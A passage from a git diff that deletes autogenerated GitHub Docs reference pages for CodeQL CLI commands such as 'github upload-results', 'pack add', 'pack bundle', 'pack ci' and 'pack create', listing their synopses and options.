-`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/github-merge-results.md b/content/code-security/codeql-cli/codeql-cli-manual/github-merge-results.md deleted file mode 100644 index b10164c46311..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/github-merge-results.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: github merge-results -intro: '[Deep plumbing] Merges multiple SARIF files into a single SARIF file.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli ---- - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql github merge-results --sarif=<file> --output=<file> <options>... -``` - -## Description - -\[Deep plumbing] Merges multiple SARIF files into a single SARIF file. - -## Options - -### Primary Options - -#### `-s, --sarif=<file>` - -\[Mandatory] Path to the SARIF files to use. This should be the output -of [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) (or [codeql database interpret-results](/code-security/codeql-cli/codeql-cli-manual/database-interpret-results)) with `--format sarif-latest` for upload to github.com or -the appropriate supported format tag for GitHub Enterprise Server -instances (see [AUTOTITLE](/enterprise-server@latest/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning) for -SARIF versions supported by your release). - -#### `-o, --output=<file>` - -\[Mandatory] Path where the merged SARIF file should be stored. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/github-upload-results.md b/content/code-security/codeql-cli/codeql-cli-manual/github-upload-results.md deleted file mode 100644 index d56b0510df08..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/github-upload-results.md +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: github upload-results -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Uploads a SARIF file to GitHub code scanning. -redirect_from: - - /code-security/codeql-cli/manual/github-upload-results ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql github upload-results --sarif=<file> [--github-auth-stdin] [--github-url=<url>] [--repository=<repository-name>] [--ref=<ref>] [--commit=<commit>] [--checkout-path=<path>] <options>... -``` - -## Description - -Uploads a SARIF file to GitHub code scanning. - -See: [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github) - -A GitHub Apps token or personal access token must be set. For best -security practices, it is recommended to set the `--github-auth-stdin` -flag and pass the token to the command through standard input. -Alternatively, the `GITHUB_TOKEN` environment variable can be set. - -This token must have the `security_events` scope. - -## Options - -### Primary Options - -#### `-s, --sarif=<file>` - -\[Mandatory] Path to the SARIF files to use. This should be the output -of [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) (or [codeql database interpret-results](/code-security/codeql-cli/codeql-cli-manual/database-interpret-results)) with `--format sarif-latest` for upload to github.com or -the appropriate supported format tag for GitHub Enterprise Server -instances (see [AUTOTITLE](/enterprise-server@latest/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning) for -SARIF versions supported by your release). - -#### `-r, --repository=<repository-name>` - -GitHub repository owner and name (e.g., _github/octocat_) to use as an -endpoint for uploading. The CLI will attempt to autodetect this from the -checkout path if it is omitted. - -#### `-f, --ref=<ref>` - -Name of the ref that was analyzed. If this ref is a pull request merge -commit, then use _refs/pull/1234/merge_ or _refs/pull/1234/head_ -(depending on whether or not this commit corresponds to the HEAD or -MERGE commit of the PR). Otherwise, this should be a branch: -_refs/heads/branch-name_. If omitted, the CLI will attempt to -automatically populate this from the current branch of the checkout -path, if this exists. - -#### `-c, --commit=<commit>` - -SHA of commit that was analyzed. If this is omitted the CLI will attempt -to autodetect this from the checkout path. - -#### `-p, --checkout-path=<path>` - -Checkout path. Default is the current working directory. - -#### `--merge` - -\[Advanced] Allow more than one SARIF file to be specified, and merge -these into a single file before uploading. This is only recommended for -backwards compatibility. For new analyses it is recommended to upload -two separate SARIF files with different categories. This option only -works in conjunction with SARIF files produced by CodeQL with SARIF -version 2.1.0 (this is the default version of SARIF used by CodeQL). - -#### `--no-wait-for-processing` - -By default, the CLI will wait for GitHub to process the SARIF file for a -maximum of 2 minutes, returning a non-zero exit code if there were any -errors during processing of the analysis results. You can customize how -long the CLI will wait with `--wait-for-processing-timeout`, or disable -the feature with `--no-wait-for-processing`. - -#### `--wait-for-processing-timeout=<waitForProcessingTimeout>` - -The maximum time the CLI will wait for the uploaded SARIF file to be -processed by GitHub, in seconds. The default is 120 seconds (2 minutes). -This option is only valid when `--wait-for-processing` is enabled. - -#### `--format=<fmt>` - -Select output format. Choices include: - -`text` _(default)_: Print the URL for tracking the status of the SARIF -upload. - -`json`: Print the response body of the SARIF upload API request. - -See also: [AUTOTITLE](/rest/code-scanning/code-scanning) - -### Options to configure where to upload SARIF files. - -#### `-a, --github-auth-stdin` - -Accept a GitHub Apps token or personal access token via standard input. - -This overrides the GITHUB\_TOKEN environment variable. - -#### `-g, --github-url=<url>` - -URL of the GitHub instance to use. If omitted, the CLI will attempt to -autodetect this from the checkout path and if this is not possible -default to <https://github.com/> - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/index.md b/content/code-security/codeql-cli/codeql-cli-manual/index.md deleted file mode 100644 index 53c10857ae6d..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/index.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: CodeQL CLI commands manual -shortTitle: CodeQL CLI manual -allowTitleToDifferFromFilename: true -intro: >- - Reference information for the commands available in the most recent release of - {% data variables.product.prodname_codeql_cli %}. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -redirect_from: - - /code-security/codeql-cli/manual -children: - - /bqrs-decode - - /bqrs-diff - - /bqrs-hash - - /bqrs-info - - /bqrs-interpret - - /database-add-diagnostic - - /database-analyze - - /database-bundle - - /database-cleanup - - /database-create - - /database-export-diagnostics - - /database-finalize - - /database-import - - /database-index-files - - /database-init - - /database-interpret-results - - /database-print-baseline - - /database-run-queries - - /database-trace-command - - /database-unbundle - - /database-upgrade - - /dataset-check - - /dataset-cleanup - - /dataset-import - - /dataset-measure - - /dataset-upgrade - - /diagnostic-add - - /diagnostic-export - - /execute-cli-server - - /execute-language-server - - /execute-queries - - /execute-query-server - - /execute-query-server2 - - /execute-upgrades - - /generate-extensible-predicate-metadata - - /generate-log-summary - - /generate-query-help - - /github-merge-results - - /github-upload-results - - /pack-add - - /pack-bundle - - /pack-ci - - /pack-create - - /pack-download - - /pack-init - - /pack-install - - /pack-ls - - /pack-packlist - - /pack-publish - - /pack-resolve-dependencies - - /pack-upgrade - - /query-compile - - /query-decompile - - /query-format - - /query-run - - /resolve-database - - /resolve-extensions - - /resolve-extensions-by-pack - - /resolve-extractor - - /resolve-files - - /resolve-languages - - /resolve-library-path - - /resolve-metadata - - /resolve-ml-models - - /resolve-packs - - /resolve-qlpacks - - /resolve-qlref - - /resolve-queries - - /resolve-ram - - /resolve-tests - - /resolve-upgrades - - /test-accept - - /test-extract - - /test-run - - /version ---- - -{% data reusables.codeql-cli.man-pages-version-note %} diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-add.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-add.md deleted file mode 100644 index bf5d3d994138..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-add.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: pack add -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - Adds a list of QL library packs with optional version - ranges as dependencies of the current package, and then installs them. -redirect_from: - - /code-security/codeql-cli/manual/pack-add ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack add <options>... -- <scope/name[@range]>... -``` - -## Description - -Adds a list of QL library packs with optional version ranges as -dependencies of the current package, and then installs them. - -This command modifies the qlpack.yml file of the current package. -Formatting and comments will be removed. - -Available since `v2.6.0`. - -## Options - -### Primary Options - -#### `<scope/name[@range]>...` - -\[Mandatory] The scope, name, and optional version range of the pack to -add to the dependency list. - -If no version range is specified, or if the version range is specified -as 'latest', the latest version of the pack is downloaded, and a -dependency is added to qlpack.yml that allows any version that is -compatible with the downloaded version. - -If a single version is specified, that version of the pack is -downloaded, and a dependency is added to qlpack.yml that allows any -version that is compatible with the specified version. - -If a version range is specified, the latest version of the pack that -satisfies the specified range is downloaded, and a dependency is added -to qlpack.yml with the specified version range. - -#### `--dir=<dir>` - -The root directory of the package. - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -#### `--[no-]allow-prerelease` - -Allow packs with pre-release version qualifiers (e.g., -`X.Y.Z-qualifier`) to be used. Without this flag, pre-release packs will -be ignored. - -Available since `v2.11.3`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-bundle.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-bundle.md deleted file mode 100644 index f22e41dc254b..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-bundle.md +++ /dev/null @@ -1,227 +0,0 @@ ---- -title: pack bundle -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Bundle a QL library pack.' -redirect_from: - - /code-security/codeql-cli/manual/pack-bundle ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack bundle [--output=<file.tgz>] [--threads=<num>] [--ram=<MB>] <options>... -- <dir> -``` - -## Description - -\[Plumbing] Bundle a QL library pack. - -This command bundles a QL library pack from the contents of the current -directory. - -Available since `v2.6.3`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `--pack-path=<packPath>` - -The path where compiled files will be stored. - -#### `-o, --output=<file.tgz>` - -The path of the query pack file to create. This file must not yet exist. - -#### `-j, --threads=<num>` - -Use this many threads to compile queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `-M, --ram=<MB>` - -Set total amount of RAM that the compiler should be allowed to use. - -#### `--no-precompile` - -\[Advanced] Avoid precompiling the compilation cache in the pack output -directory. This will reduce the size of the pack and the time it takes -to create it, but will require compilation before the pack can be run. -Only meaningful for query packs. - -#### `--no-validate-extensions` - -\[Advanced] Avoid validating data extensions as part of the compile -step. - -Available since `v2.13.3`. - -#### `--no-overwrite` - -\[Advanced] Avoid recompiling and overwriting any existing compiled -output from a previous invocation of this command. - -### Options to set up compilation environment - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-ci.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-ci.md deleted file mode 100644 index 6cc1a45a1580..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-ci.md +++ /dev/null @@ -1,208 +0,0 @@ ---- -title: pack ci -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - Install dependencies for this pack, verifying that the - existing lock file is up to date. -redirect_from: - - /code-security/codeql-cli/manual/pack-ci ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack ci [--force] <options>... -- <dir> -``` - -## Description - -Clean install dependencies for this pack, verifying that the existing -lock file is up to date. - -This command installs the dependencies of the pack, using the versions -specified in the codeql-pack.lock.yml file. If any of the versions -specified in the lock file are incompatible with the version constraints -specified in the qlpack.yml file, or if no lock file is present, this -command fails. - -This command is similar to `codeql pack install`, except it's meant to -be used in automated environments such as test platforms, continuous -integration, and deployment -- or any situation where you want to make -sure you're doing a clean install of your dependencies. - -Available since `v2.12.4`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `-f, --[no-]force` - -Allow overwriting already existing packs. - -#### `--[no-]allow-prerelease` - -Allow packs with pre-release version qualifiers (e.g., -`X.Y.Z-qualifier`) to be used. Without this flag, pre-release packs will -be ignored. - -Available since `v2.11.3`. - -#### `--lock-override=<file>` - -\[Advanced] Specifies an alternate lock file to use as the input to -dependency resolution. - -#### `--lock-output=<file>` - -\[Advanced] Specifies an alternate location to save the lock file -generated by dependency resolution. - -Available since `v2.14.1`. - -#### `--no-strict-mode` - -\[Advanced] Turn off strict mode to avoid a warning when resolving -packages from the `--additional-packs` - -and other locally resolved locations. Packages resolved locally are -never downloaded - -and will not be added to the package lock. - -### Options for resolving QL packs outside of the package registry - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-create.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-create.md deleted file mode 100644 index e10412dd7334..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-create.md +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: pack create -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Plumbing] Builds the contents of a QL package from - source code. -redirect_from: - - /code-security/codeql-cli/manual/pack-create ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack create [--output=<output>] [--threads=<num>] [--ram=<MB>] <options>... -- <dir> -``` - -## Description - -\[Plumbing] Builds the contents of a QL package from source code. - -This command builds the complete contents of a QL package, including the -original source code, library dependencies, compiled queries, and -package metadata. - -Available since `v2.6.0`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package. - -#### `-o, --output=<output>` - -The output directory to write the built package to. - -Defaults to `./.codeql/pack`. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `-j, --threads=<num>` - -Use this many threads to compile queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `-M, --ram=<MB>` - -Set total amount of RAM that the compiler should be allowed to use. - -#### `--no-precompile` - -\[Advanced] Avoid precompiling the compilation cache in the pack output -directory. This will reduce the size of the pack and the time it takes -to create it, but will require compilation before the pack can be run. -Only meaningful for query packs. - -#### `--no-validate-extensions` - -\[Advanced] Avoid validating data extensions as part of the compile -step. - -Available since `v2.13.3`. - -#### `--no-overwrite` - -\[Advanced] Avoid recompiling and overwriting any existing compiled -output from a previous invocation of this command. - -### Options to set up compilation environment - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - 